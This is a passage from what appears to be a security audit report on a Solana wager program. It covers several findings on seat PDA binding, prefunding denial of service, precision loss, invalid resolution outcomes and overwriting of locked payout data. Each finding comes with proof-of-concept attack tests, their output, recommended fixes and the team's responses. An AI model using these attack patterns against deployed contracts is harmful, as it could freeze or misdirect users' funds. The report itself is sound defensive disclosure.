test poc_prefunded_next_seat_pda_strands_existing_deposit ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 24 filtered out; finished in 0.08s
```

Recommendation

Bound the fix to `take_seat`. The vulnerable operation is the raw `create_account` call used to initialize the deterministic seat PDA:

```
invoke_signed(
    &system_instruction::create_account(
        payer.key,
        seat_account.key,
        required_lamports,
        space as u64,
        program_id,
    ),
    &[
        payer.clone(),
        seat_account.clone(),
        system_program.clone(),
    ],
    &[&[
        b"seat",
        wager_account.key.as_ref(),
        &index.to_le_bytes(),
        &[bump],
    ]],
)?;
```

Replace it with prefund-tolerant initialization for the seat PDA:

```
let index_bytes = index.to_le_bytes();
let bump_bytes = [bump];
let seat_seeds: &[&[u8]] = &[
    b"seat",
    wager_account.key.as_ref(),
    &index_bytes,
    &bump_bytes,
];

if seat_account.lamports() == 0 {
    invoke_signed(
        &system_instruction::create_account(
            payer.key,
            seat_account.key,
            required_lamports,
            space as u64,
            program_id,
        ),
        &[
            payer.clone(),
            seat_account.clone(),
            system_program.clone(),
        ],
        &[seat_seeds],
    )?;
} else {
    if seat_account.owner != &system_program::ID || seat_account.data_len() != 0 {
        return Err(ProgramError::AccountAlreadyInitialized);
    }

    let top_up = required_lamports.saturating_sub(seat_account.lamports());
    if top_up > 0 {
        invoke(
            &system_instruction::transfer(payer.key, seat_account.key, top_up),
```

```
            &[
                payer.clone(),
                seat_account.clone(),
                system_program.clone(),
            ],
        )?;
    }

    invoke_signed(
        &system_instruction::allocate(seat_account.key, space as u64),
        &[
            seat_account.clone(),
            system_program.clone(),
        ],
        &[seat_seeds],
    )?;

    invoke_signed(
        &system_instruction::assign(seat_account.key, program_id),
        &[
            seat_account.clone(),
            system_program.clone(),
        ],
        &[seat_seeds],
    )?;
}
```

This preserves normal behavior when the seat PDA has zero lamports, while allowing the program to recover when an attacker has prefunded the PDA as a system-owned, zero-data account.

Reject any pre-existing account that is not system-owned or already has data. Alternatively, create all required deterministic seat accounts up front, but that path should still use prefund-tolerant initialization if the addresses can be known before execution.

Team Response

Fixed and Validated. The Riverboat team added a PDA initialization helper using the transfer/allocate/assign pattern for prefunded PDAs and routes prefunded seat PDA initialization through that path. This prevents lamport prefunding from blocking canonical seat creation.

[M-05] Seat state can be bound to a different wager than its PDA derivation

`take_seat` verifies that the supplied `seat_account` is the canonical PDA for the supplied `wager_account`, using seeds `[b"seat", wager_account.key, wager.seat_count]`.

However, the serialized `Seat` does not store `wager_account.key`; it stores the caller-controlled `dto.wager`:

```
let seat = Seat {
    wager: dto.wager,
    authority: dto.authority,
    ...
};
```

The handler does not require `dto.wager == *wager_account.key`.

As a result, a seat account can be canonical for Wager A while its internal `seat.wager` field points to Wager B. Later single-seat lifecycle instructions such as `process_deposit` validate only the stored `seat.wager` field against the supplied `wager_account`; they do not re-derive the seat PDA for that wager. This allows a non-canonical seat account to be accepted as belonging to another wager.

Relevant code paths:

i) `wager_program/src/dto.rs`: `TakeSeatData` includes caller-supplied `wager`
ii) `wager_program/src/processor.rs`: `take_seat` derives the seat PDA from `wager_account.key` and `seat_count`
iii) `wager_program/src/processor.rs`: `take_seat` stores `wager: dto.wager`
iv) `wager_program/src/processor.rs`: `process_deposit` checks `seat.wager == wager_account.key`, but does not prove the seat account is the canonical PDA for that wager
v) `wager_program/src/processor.rs`: `lock_seat` has the same stored-field-only wager check

Impact

An attacker can create malformed seats that consume a wager's fixed two-seat capacity while failing subsequent lifecycle checks for that wager. In the current reviewed snapshot, there is no implemented instruction to reopen, replace, close, or refund malformed seats, so this can prevent the affected wager from progressing through the current lifecycle.

Separately, a seat PDA created under one wager can be used to deposit into another wager's vault if its stored `seat.wager` points to the second wager. This breaks the invariant that all funded seats for a wager are its canonical seat PDAs, and can leave vault funds outside the wager's canonical seat accounting. The demonstrated path does not show theft from another user; it is an account-binding/liveness issue.

Proof of Concept

Self-contained PoC code:

```
#[test]
fn poc_take_seat_stores_user_supplied_wrong_wager() {
    let mut h = Harness::new(10_000);
    let seat0 = h.seat_pda(0);
    let seat1 = h.seat_pda(1);
    let seat2 = h.seat_pda(2);
    let wrong_wager0 = Keypair::new().pubkey();
    let wrong_wager1 = Keypair::new().pubkey();

    let ix = h.take_seat_with_wager_ix(
        h.payer.pubkey(),
        seat0,
        wrong_wager0,
        h.payer.pubkey(),
    );
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    let ix = h.take_seat_with_wager_ix(
        h.attacker.pubkey(),
        seat1,
        wrong_wager1,
        h.attacker.pubkey(),
    );
    assert!(send(&mut h.svm, ix, &h.attacker, &[&h.attacker]));
```

```
    assert_eq!(h.wager().seat_count, 2);
    assert_eq!(h.seat(seat0).wager, wrong_wager0);
    assert_eq!(h.seat(seat1).wager, wrong_wager1);

    let ix = h.take_seat_with_wager_ix(
        h.challenger.pubkey(),
        seat2,
        h.wager_account.pubkey(),
        h.challenger.pubkey(),
    );
    assert!(!send(&mut h.svm, ix, &h.challenger, &[&h.challenger]));

    let ix = h.deposit_ix(h.payer.pubkey(), seat0, 10_000);
    assert!(!send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    let ix = h.set_prediction_ix(h.payer.pubkey(), 0, 75, seat0, seat1);
    assert!(!send(&mut h.svm, ix, &h.payer, &[&h.payer]));
}

#[test]
fn poc_deposit_accepts_seat_pda_from_different_wager() {
    let mut h = Harness::new(10_000);
    let wager_a = Keypair::new();
    let (vault_a, _) =
        Address::find_program_address(&[b"vault", &wager_a.pubkey().to_bytes()], &h.program_id);

    let make_a_ix = Instruction::new_with_bytes(
        h.program_id,
        &to_vec(&WagerInstruction::MakeWager {
            dto: MakeWagerData {
                seat_capacity: 2,
                stake: 10_000,
                currency: Currency::Lamports,
                lock_by: h.wager().lock_by,
                private: false,
                resolution_mechanism: ResolutionMechanism::PeerConsensus,
                resolution_authority: None,
            },
        })
        .unwrap(),
        vec![
            AccountMeta::new(h.attacker.pubkey(), true),
            AccountMeta::new_readonly(system_program::id(), false),
            AccountMeta::new(h.contract_account.pubkey(), false),
            AccountMeta::new(wager_a.pubkey(), true),
            AccountMeta::new(vault_a, false),
        ],
    );
    assert!(send(&mut h.svm, make_a_ix, &h.attacker, &[&h.attacker, &wager_a]));

    let (seat_a0, _) = Address::find_program_address(
        &[b"seat", &wager_a.pubkey().to_bytes(), &0u8.to_le_bytes()],
        &h.program_id,
    );
    let take_a_ix = Instruction::new_with_bytes(
        h.program_id,
        &to_vec(&WagerInstruction::TakeSeat {
            dto: TakeSeatData {
                wager: h.wager_account.pubkey(),
                authority: h.attacker.pubkey(),
            },
        })
        .unwrap(),
        vec![
            AccountMeta::new(h.attacker.pubkey(), true),
            AccountMeta::new_readonly(system_program::id(), false),
            AccountMeta::new(h.contract_account.pubkey(), false),
            AccountMeta::new(wager_a.pubkey(), false),
            AccountMeta::new(seat_a0, false),
        ],
    );
    assert!(send(&mut h.svm, take_a_ix, &h.attacker, &[&h.attacker]));
```

```
    let target_vault_before = h.svm.get_account(&h.vault_pda).unwrap().lamports;
    let deposit_into_b_ix = h.deposit_ix(h.attacker.pubkey(), seat_a0, 10_000);
    assert!(send(&mut h.svm, deposit_into_b_ix, &h.attacker, &[&h.attacker]));

    assert_eq!(h.wager().seat_count, 0);
    assert_eq!(
        h.svm.get_account(&h.vault_pda).unwrap().lamports,
        target_vault_before + 10_000,
    );
    let seat = h.seat(seat_a0);
    assert_eq!(seat.wager, h.wager_account.pubkey());
    assert_eq!(seat.status, SeatStatus::Staked);
}
```

Run:

```
cargo test -p wager_program --test poc_findings poc_take_seat_stores_user_supplied_wrong_wager
cargo test -p wager_program --test poc_findings poc_deposit_accepts_seat_pda_from_different_wager
```

Test output:

```
running 1 test
test poc_take_seat_stores_user_supplied_wrong_wager ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 24 filtered out; finished in 0.07s

running 1 test
test poc_deposit_accepts_seat_pda_from_different_wager ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 24 filtered out; finished in 0.06s
```

Recommendation

Remove `wager` from `TakeSeatData` so callers cannot choose the wager stored inside a `Seat`.

```
// Before
pub struct TakeSeatData {
    pub wager: Pubkey,
    pub authority: Pubkey,
}

// After
pub struct TakeSeatData {
    pub authority: Pubkey,
}
```

Then set the seat's `wager` field from the verified `wager_account` passed to the instruction:

```
seat.wager = *wager_account.key
```

For example, in `take_seat`:

```
let seat = Seat {
    wager: *wager_account.key,
    authority: dto.authority,
    bump,
    status: SeatStatus::Reserved,
    prediction_data: contract.default_prediction_data(),
    resolution_data: wager.default_resolution_data(&contract.outcomes),
    payout_data: wager.default_payout_data(&contract.outcomes),
    challenge: false,
```

```
    last_change_at: clock.unix_timestamp,
};
```

For `process_deposit` and `lock_seat`, also verify that the supplied seat account is the canonical PDA for the supplied wager. A low-migration fix is to add `seat_index` to the single-seat instruction data for those handlers and re-derive the expected seat PDA before mutating the seat:

```
pub struct SeatActionData {
    pub seat_index: u8,
}
```

```
let (expected_seat, expected_bump) = Pubkey::find_program_address(
    &[
        b"seat",
        wager_account.key.as_ref(),
        &dto.seat_index.to_le_bytes(),
    ],
    program_id,
);

if expected_seat != *seat_account.key || seat.bump != expected_bump {
    return Err(ProgramError::InvalidArgument);
}

if seat.wager != *wager_account.key {
    return Err(ProgramError::InvalidAccountData);
}
```

Alternatively, the program can store an immutable `index` field in `Seat`, but that is a persisted account-layout change. If that path is used, `Seat::CORE_ALLOCATION`, `Seat::SPACE_ALLOCATION`, rent sizing, and any deployed-state migration/versioning plan must be updated accordingly.

Team Response

Fixed and Validated. The Riverboat team revised the seat mutation DTO flow so each seat mutation can derive and verify the canonical seat PDA for the supplied wager. This removes the caller-controlled wager mismatch and strengthens the seat-to-wager account binding.

Low Severity

[L-01] `calc_risk` divides before multiplying causing systematic precision loss in payout calculation

In `calc_risk`, the stake is divided by `10_000` first, then multiplied by the risk portion:

```
    let scale = stake / 10_000; // 100^2

    let risk_a = scale * portion_a;
    let risk_b = scale * portion_b;
```

Integer division silently drops `stake % 10_000` (up to 9,999 lamports) before it ever reaches the

risk portion. The correct rule is **multiply first, divide last**.

Impact

Any stake that is not a clean multiple of `10,000` lamports produces understated risk values. Both `risk_a` and `risk_b` are smaller than they should be, so:

i) The **winner receives less** than the formula entitles them to (opponent's risk is too small)
ii) The **loser keeps more** than they should (their own risk deduction is too small)

Proof of Concept

```
stake = 19,999 lamports
Alice belief = 100, Bob belief = 0
portion_a = portion_b = 10,000

Current:  scale = 19,999 / 10,000 = 1
          risk_a = risk_b = 1 x 10,000 = 10,000

Correct:  risk_a = risk_b = 19,999 x 10,000 / 10,000 = 19,999

Shortfall: 9,999 lamports per risk line
```

Alice wins -> she receives `stake + Bob_risk = 19,999 + 10,000 = 29,999` instead of the correct `39,998`. She is underpaid by `9,999` lamports, which Bob silently retains.

Recommendation

Multiply first using `u128` to prevent overflow, then divide:

```
const SCALE: u128 = 10_000;

let risk_a = ((stake as u128 * portion_a as u128) / SCALE) as u64;
let risk_b = ((stake as u128 * portion_b as u128) / SCALE) as u64;
```

Team Response

Fixed and Validated. The Riverboat team updated `calc_risk` to multiply `stake` by each risk portion using `u128` arithmetic before dividing by `10_000`. This removes the systematic truncation caused by dividing the stake before applying the risk portion.

[L-02] Binary market resolution accepts arbitrary non-binary outcome values, enabling wrong payouts or permanent fund lock

`EventResult::Resolved(T)` is generic over `T = u8`, meaning it accepts any value in `0..=255` on-chain. For a binary market (whose `OutcomeType` is `OutcomeType::Binary`), only `Resolved(0)` and `Resolved(1)`

are semantically valid terminal outcomes. However, neither `set_seat_resolution` nor `consensus::resolve_peers` enforces this constraint. Any `Judgment::SingleOutcome(EventResult::Resolved(k))` for `k in 0..=255` is accepted, written to the seat's `resolution_data`, and can reach `wager.result`.

The payout engine in `is_winner` treats `outcome == 1` as one branch and **every other value** as the other:

```
pub fn is_winner(calling_belief: u8, opp_belief: u8, outcome: u8) -> bool {
    if outcome == 1 {
        calling_belief >= opp_belief
    } else {
        calling_belief <= opp_belief
    }
}
```

This means `Resolved(2)`, `Resolved(99)`, and `Resolved(255)` all silently map to the same winner branch as `Resolved(0)`, producing unintended payouts when both parties happen to agree on an invalid value.

Impact

There are distinct damage paths depending on the values the two peers submit:

Path 1: Both agree on the same invalid value (e.g. both submit `Resolved(2)`)

Consensus is reached. The wager settles with an invalid `outcome`. `is_winner` silently falls into the `else` branch, the same branch as `Resolved(0)`. The "lower-belief" side receives the winner payout.

i) If the true result should have been `Resolved(1)` (higher-belief side wins), the **wrong party receives the winner-side payout**.
ii) Neither party receives an error; the payout transfer succeeds and looks legitimate on-chain.

Example: Alice (belief=70) vs Bob (belief=30), true outcome is "Yes" (`Resolved(1)`), but both submit `Resolved(2)`:

i) Alice winner: correct `Resolved(1)` pays Alice, while invalid `Resolved(2)` maps to the `Resolved(0)` branch and makes Alice lose.
ii) Bob winner: correct `Resolved(1)` makes Bob lose, while invalid `Resolved(2)` lets Bob win.
iii) Alice payout changes from `stake + bob_risk` to `stake - alice_risk`.
iv) Bob payout changes from `stake - bob_risk` to `stake + alice_risk`.

Winner is fully inverted.

Path 2: Peers submit semantically identical but numerically different values (`Resolved(0)` vs `Resolved(2)`)

This is the stronger liveness path. Both values would produce the same `is_winner` result (the `else` branch), so **both peers may genuinely believe they agree on the outcome**, but `PartialEq` on `Resolved` compares the inner byte, so `Resolved(0) != Resolved(2)` -> **consensus is never reached**.

i) There is no resolution deadline enforcement after locking.

ii) The wager remains stuck in the current lifecycle, and the vault holds both stakes with **no current recovery path** for either participant.

This is exploitable as a **deliberate griefing attack**: a malicious peer can observe that the honest peer submitted `Resolved(0)`, then submit `Resolved(2)` (or any `k != 0`) to prevent settlement and keep the opponent's funds locked until a recovery path exists.

Proof of Concept

```
// Simulated in test context
// Alice and Bob both locked with beliefs 70 and 30.
// True event result = Yes (Resolved(1)).
// Both mistakenly/maliciously submit Resolved(2).

let invalid_resolution = Some(Judgment::SingleOutcome(EventResult::Resolved(2)));

// Alice calls set_seat_resolution -- accepted, no error.
// Bob calls set_seat_resolution -- accepted, consensus reached.
// wager.result = Judgment::SingleOutcome(EventResult::Resolved(2))

// At claim_payout:
// outcome = 2
// is_winner(70, 30, 2) -> else branch -> 70 <= 30 -> false -> Alice LOSES
// is_winner(30, 70, 2) -> else branch -> 30 <= 70 -> true  -> Bob WINS
// Bob receives stake + alice_risk instead of Alice.
```

Recommendation

Enforce valid outcome range in `set_seat_resolution`:

Cross-check the submitted `Judgment` against the wager's linked contract `OutcomeType`. For a `OutcomeType::Binary` contract, only `Resolved(0)`, `Resolved(1)`, and `Push` should be accepted:

```
// In set_seat_resolution, after deserializing the contract:
if let Some(Judgment::SingleOutcome(EventResult::Resolved(k))) = &dto.resolution {
    match contract.outcomes {
        OutcomeType::Binary => {
            if *k > 1 {
                return Err(ProgramError::InvalidArgument);
            }
        }
    }
}
```

Team Response

Fixed and Validated. The Riverboat team added `Judgment::is_valid(&OutcomeType)` and now validates submitted resolutions against the contract outcome type. Binary markets reject invalid terminal outcomes such as `Resolved(2)`.

[L-03] Locked seat payout data can be rewritten by the remaining staked participant

`set_prediction_data` recomputes and overwrites `payout_data` for locked seats.

`lock_seat` makes the locking seat's prediction immutable by requiring the seat to be `Staked` before prediction updates and then changing the seat status to `Locked`. However, `set_prediction_data` recomputes `payout_data` for all seats whenever any still-staked seat updates its prediction.

As a result, one participant can wait until the counterparty locks, observe the committed prediction, update their own prediction, and cause the locked counterparty's stored risk value to be rewritten.

The locked seat's `prediction_data` is not changed. The issue is that its stored `payout_data`, which represents risk/economic data derived from both participants' predictions, can still change after the seat is locked.

Relevant code paths:

i) `wager_program/src/processor.rs` in `set_prediction_data`
ii) `wager_program/src/processor.rs` in `lock_seat`
iii) `protocol/src/engine.rs` in `calc_risk`

Impact

The remaining staked participant can change stored payout/risk data after the counterparty has locked. In the demonstrated case, the participant changes their prediction to match the locked counterparty, causing equal beliefs and zero risk for both seats.

This matters because `claim_payout` later reads each seat's stored `payout_data` as an input to payout calculation.

This does not allow a direct vault drain, but it weakens the commitment semantics of `lock_seat` and can make pre-lock payout/risk data unreliable unless that data is explicitly intended to remain provisional until all seats are locked.

Proof of Concept

The following LiteSVM PoC can be added as an integration test. The code block includes the relevant test logic inline; it uses the same harness style as the repository's existing LiteSVM tests:

```
#[test]
fn poc_last_locker_rewrites_locked_seat_payout_data() {
    let mut h = Harness::new(10_000);
    let seat0 = h.seat_pda(0);
    let seat1 = h.seat_pda(1);

    let ix = h.take_seat_ix(h.payer.pubkey(), seat0, h.payer.pubkey());
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    let ix = h.take_seat_ix(h.challenger.pubkey(), seat1, h.challenger.pubkey());
    assert!(send(&mut h.svm, ix, &h.challenger, &[&h.challenger]));
    let ix = h.deposit_ix(h.payer.pubkey(), seat0, 10_000);
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    let ix = h.deposit_ix(h.challenger.pubkey(), seat1, 10_000);
    assert!(send(&mut h.svm, ix, &h.challenger, &[&h.challenger]));
    let ix = h.set_prediction_ix(h.payer.pubkey(), 0, 95, seat0, seat1);
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
```

```
    let ix = h.set_prediction_ix(h.challenger.pubkey(), 1, 13, seat0, seat1);
    assert!(send(&mut h.svm, ix, &h.challenger, &[&h.challenger]));

    let seat0_before_lock = h.seat(seat0);
    let initial_risk = match seat0_before_lock.payout_data {
        Payout::Binary(risk) => risk,
    };
    assert!(initial_risk > 0);

    let ix = h.lock_ix(h.payer.pubkey(), seat0);
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    assert_eq!(h.seat(seat0).status, SeatStatus::Locked);

    let ix = h.set_prediction_ix(h.challenger.pubkey(), 1, 95, seat0, seat1);
    assert!(send(&mut h.svm, ix, &h.challenger, &[&h.challenger]));

    let locked_seat = h.seat(seat0);
    assert_eq!(locked_seat.status, SeatStatus::Locked);
    assert!(matches!(locked_seat.prediction_data, Prediction::Binary(95)));
    assert!(matches!(locked_seat.payout_data, Payout::Binary(0)));
    assert!(matches!(h.seat(seat1).payout_data, Payout::Binary(0)));
}
```

Run:

```
cargo test -p wager_program --test poc_findings poc_last_locker_rewrites_locked_seat_payout_data
```

Test output:

```
running 1 test
test poc_last_locker_rewrites_locked_seat_payout_data ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 35 filtered out; finished in 0.10s
```

Recommendation

Reject prediction updates once any canonical seat for the wager is already `Locked`, unless the protocol intentionally treats `payout_data` as provisional until all seats lock.

A safer approach is to make the prediction phase complete before any seat can lock:

1. Require all canonical seats to be `Staked` and have valid predictions before the first `lock_seat`.
2. After any seat is `Locked`, reject further `set_prediction_data` calls for that wager.
3. Compute and freeze `payout_data` from one consistent prediction snapshot.

Do not only skip locked seats while updating unlocked seats, because that can leave different seats' `payout_data` derived from different prediction snapshots. If the intended design is for `payout_data` to remain provisional until every seat locks, document that invariant and surface it clearly to clients/users.

Team Response

Acknowledged. The Riverboat team acknowledged this as an intentional design tradeoff for the current game flow. The remaining expectation is to document clearly that payout/risk data is provisional until all seats are locked.

[L-04] Use of `data.borrow()` / `data.borrow_mut()` in account handling can panic on borrow conflicts instead of returning `ProgramError`

The programs consistently use direct borrows on account data (e.g. `account.data.borrow()` / `borrow_mut()`) and do not use `try_borrow_data()` / `try_borrow_mut_data()` anywhere.

Examples include:

i) `contract_program/src/processor.rs` (multiple deserialize/serialize paths)
ii) `wager_program/src/processor.rs` (including `claim_payout`)

Direct `borrow()` / `borrow_mut()` can **panic** on runtime borrow conflicts (`RefCell` rules), while `try_borrow_*` returns a clean error (`ProgramError::AccountBorrowFailed`) that the program can propagate safely.

Impact

Panic-based failures, noisy diagnostics, and increased fragility compared to explicit `ProgramError` handling.

Recommendation

Replace direct borrows with the following pattern repo-wide in both `contract_program` and `wager_program` processors for consistent hardening.

i) `account.try_borrow_data()?`
ii) `account.try_borrow_mut_data()?`

Team Response

Fixed and Validated. The Riverboat team added a shared account serialization trait that uses `try_borrow_data()` and `try_borrow_mut_data()` while also checking account discriminators. This replaces the direct borrow pattern with structured account-loading helpers.

[L-05] `append_terms` missing content bounds allows empty finalization and unbounded terms sizing

The terms flow does not enforce a complete length invariant (both lower and upper bounds):

i) **Upper bound missing**: `write_contract` computes allocation from user-controlled inputs (`headline`, `terms_size`) without capping them.
This allows callers to request very large account sizes, causing oversized rent requirements, transaction/account-creation failures, or inconsistent runtime failures.
ii) **Lower bound missing at finalize**: `append_terms` allows `finalize = true` even when resulting `terms.content` is empty (e.g., `overwrite = true`, `chunk = []`).

Together, this creates a weak input-validation surface: terms can be finalized at zero length, while also allowing unbounded sizing at initialization.

Impact

i) Contracts may be marked finalized with blank terms, breaking "finalized terms exist" assumptions.
ii) Unbounded allocations can lead to failed contract creation attempts, poor user experience, and potential operational DoS patterns (payer-funded, but still protocol-fragile).

Proof of Concept

A) Empty finalized terms (lower bound gap)

1. Create a contract with `terms_size > 0`.
2. Call `append_terms` with:
   i) `overwrite = true`
   ii) `chunk = []`
   iii) `finalize = true`
3. Transaction succeeds.
4. `contract.finalized = true` while `terms.content` is empty.

B) Unbounded allocation (upper bound gap)

1. Call `write_contract` with a very large `headline` and/or very large `terms_size`.
2. Program derives account sizes directly from these values:
   i) `contract_space = ... + headline_allocation`
   ii) `terms_space = ... + dto.terms_size as usize`
3. Account creation/rent computation can become impractically large and fail unpredictably.

Recommendation

Enforce explicit min/max bounds and a finalization invariant:

i) Add protocol constants, e.g.:
   i) `MAX_HEADLINE_LEN`
   ii) `MAX_TERMS_LEN`
   iii) optionally `MIN_TERMS_LEN_FINALIZE = 1`
ii) In `write_contract`:
   i) Reject `headline.len() > MAX_HEADLINE_LEN`
   ii) Reject `terms_size > MAX_TERMS_LEN`
iii) In `append_terms`:
   i) Compute post-write content length (`overwrite`/append aware)
   ii) Reject if post-write length exceeds `MAX_TERMS_LEN`
   iii) If `finalize == true`, require post-write length `> 0`

iv) Return a dedicated custom error on violation.

Team Response

Fixed and Validated. The Riverboat team added explicit headline and terms size limits and rejects finalization when the resulting terms content length is zero. This addresses both oversized input handling and empty finalized terms.

[L-06] Resolution and payout paths miss seat index and final result validation

The root cause is missing validation for caller-provided `seat_index` and submitted resolution values.

Several resolution and payout paths trust caller-provided indexes and resolution values without first validating that they are in range and valid for the wager's outcome type.

Grouped symptoms:

i) `set_seat_resolution` does not validate `dto.seat_index < wager.seat_count`.
ii) `claim_payout` does not validate `dto.seat_index < wager.seat_count` before indexing local vectors.
iii) Binary resolution accepts out-of-domain values such as `Resolved(2)`.
iv) `Some(Pending)` can be treated as consensus data and write `result_set_at`.

Relevant code paths:

i) `wager_program/src/processor.rs` in `set_seat_resolution`
ii) `wager_program/src/processor.rs` in `claim_payout`
iii) `wager_program/src/resolution/consensus.rs`
iv) `protocol/src/state.rs` for `Judgment` / `EventResult`

Impact

Missing validation allows malformed resolution inputs to mutate settlement metadata, allows authorized participants to settle a binary wager to an invalid outcome value, and lets malformed payout requests abort with an unstructured panic instead of a controlled error.

This does not currently produce direct theft, so severity is Low, but it weakens settlement correctness.

Proof of Concept

The following LiteSVM PoCs can be added as integration tests.

```
#[test]
fn poc_out_of_range_resolution_index_mutates_result_timestamp_without_authority() {
    let mut h = Harness::new(10_000);
    let seat0 = h.seat_pda(0);
    let seat1 = h.seat_pda(1);
```

```
    let ix = h.take_seat_ix(h.payer.pubkey(), seat0, h.payer.pubkey());
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    let ix = h.take_seat_ix(h.challenger.pubkey(), seat1, h.challenger.pubkey());
    assert!(send(&mut h.svm, ix, &h.challenger, &[&h.challenger]));

    let ix = h.set_resolution_ix(
        h.attacker.pubkey(),
        2,
        Judgment::SingleOutcome(EventResult::Push),
        seat0,
        seat1,
    );
    assert!(send(&mut h.svm, ix, &h.attacker, &[&h.attacker]));

    let wager = h.wager();
    assert_eq!(wager.result, Judgment::SingleOutcome(EventResult::Pending));
    assert!(wager.result_set_at.is_some());
    assert_eq!(h.seat(seat0).status, SeatStatus::Reserved);
    assert_eq!(h.seat(seat1).status, SeatStatus::Reserved);
}

#[test]
fn poc_binary_resolution_accepts_invalid_outcome() {
    let mut h = Harness::new(10_000);
    let (seat0, seat1) = setup_two_locked_seats(&mut h);

    let ix = h.set_resolution_ix(
        h.payer.pubkey(),
        0,
        Judgment::SingleOutcome(EventResult::Resolved(2)),
        seat0,
        seat1,
    );
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    let ix = h.set_resolution_ix(
        h.challenger.pubkey(),
        1,
        Judgment::SingleOutcome(EventResult::Resolved(2)),
        seat0,
        seat1,
    );
    assert!(send(&mut h.svm, ix, &h.challenger, &[&h.challenger]));

    assert_eq!(
        h.wager().result,
        Judgment::SingleOutcome(EventResult::Resolved(2))
    );
}

#[test]
fn poc_pending_resolution_sets_result_timestamp_with_unlocked_peer() {
    let mut h = Harness::new(10_000);
    let seat0 = h.seat_pda(0);
    let seat1 = h.seat_pda(1);

    let ix = h.take_seat_ix(h.payer.pubkey(), seat0, h.payer.pubkey());
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    let ix = h.take_seat_ix(h.challenger.pubkey(), seat1, h.challenger.pubkey());
    assert!(send(&mut h.svm, ix, &h.challenger, &[&h.challenger]));
    let ix = h.deposit_ix(h.payer.pubkey(), seat0, 10_000);
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    let ix = h.set_prediction_ix(h.payer.pubkey(), 0, 95, seat0, seat1);
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    let ix = h.lock_ix(h.payer.pubkey(), seat0);
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));

    let ix = h.set_resolution_ix(
        h.payer.pubkey(),
        0,
        Judgment::SingleOutcome(EventResult::Pending),
        seat0,
        seat1,
```

```
    );
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));

    let wager = h.wager();
    assert_eq!(wager.result, Judgment::SingleOutcome(EventResult::Pending));
    assert!(wager.result_set_at.is_some());
    assert_eq!(h.seat(seat1).status, SeatStatus::Reserved);
}

#[test]
fn poc_claim_payout_out_of_range_index_aborts_after_settlement() {
    let mut h = Harness::new(10_000);
    let (seat0, seat1) = setup_two_locked_seats(&mut h);

    let ix = h.set_resolution_ix(
        h.payer.pubkey(),
        0,
        Judgment::SingleOutcome(EventResult::Push),
        seat0,
        seat1,
    );
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    let ix = h.set_resolution_ix(
        h.challenger.pubkey(),
        1,
        Judgment::SingleOutcome(EventResult::Push),
        seat0,
        seat1,
    );
    assert!(send(&mut h.svm, ix, &h.challenger, &[&h.challenger]));
    assert!(h.wager().result.is_settled());

    let ix = h.claim_payout_ix(h.payer.pubkey(), 2, seat0, seat1);
    let err = send_result(&mut h.svm, ix, &h.payer, &[&h.payer]).unwrap_err();
    let err_debug = format!("{err:?}");
    assert!(
        err_debug.contains("ProgramFailedToComplete")
            || err.meta.logs.iter().any(|log| log.contains("panicked at")),
        "{err_debug}",
    );
}
```

Run:

```
cargo test -p wager_program --test poc_findings
     poc_out_of_range_resolution_index_mutates_result_timestamp_without_authority
cargo test -p wager_program --test poc_findings poc_binary_resolution_accepts_invalid_outcome
cargo test -p wager_program --test poc_findings
     poc_pending_resolution_sets_result_timestamp_with_unlocked_peer
cargo test -p wager_program --test poc_findings
     poc_claim_payout_out_of_range_index_aborts_after_settlement
```

Test output:

```
running 1 test
test poc_out_of_range_resolution_index_mutates_result_timestamp_without_authority ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 27 filtered out

running 1 test
test poc_binary_resolution_accepts_invalid_outcome ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 27 filtered out

running 1 test
test poc_pending_resolution_sets_result_timestamp_with_unlocked_peer ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 27 filtered out
```

```
running 1 test
test poc_claim_payout_out_of_range_index_aborts_after_settlement ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 28 filtered out
```

Recommendation

Add explicit bounds checks for every `seat_index` before any branch or indexing that depends on it:

```
if dto.seat_index >= wager.seat_count {
    return Err(ProgramError::InvalidArgument);
}
```

Reject both absent and pending resolution submissions under peer consensus:

```
if dto
    .resolution
    .as_ref()
    .map_or(true, |resolution| resolution.is_pending())
{
    return Err(ProgramError::InvalidArgument);
}
```

Because the reviewed release only supports binary wagers, only accept `Resolved(0)`, `Resolved(1)`, or `Push` as submitted settlement results. Reject `Pending` and `Resolved(2..=255)`.

In `set_seat_resolution`, require every canonical seat to be `Locked` before running consensus:

```
if seat.status != SeatStatus::Locked {
    return Err(ProtocolError::InvalidAccountStatus.into());
}
```

In `claim_payout`, keep the check scoped to the calling seat: it should be unpaid and previously locked. Do not require every seat to remain `Locked`, because a previous claimant may already be `Paid`.

Consider defaulting `Seat.resolution_data` to `None` until a seat authority actually submits a resolution. This avoids treating untouched seat state as consensus input.

Team Response

Fixed and Validated. The Riverboat team added seat-index bounds checks, validated submitted judgments against the contract outcome type, and checked that all seats are `Locked` before resolution. Validation confirmed that `Pending` can remain a stored user state but cannot set `result_set_at` as a settled wager result.

[L-07] Zero-stake wagers permitted by `valid_stake`

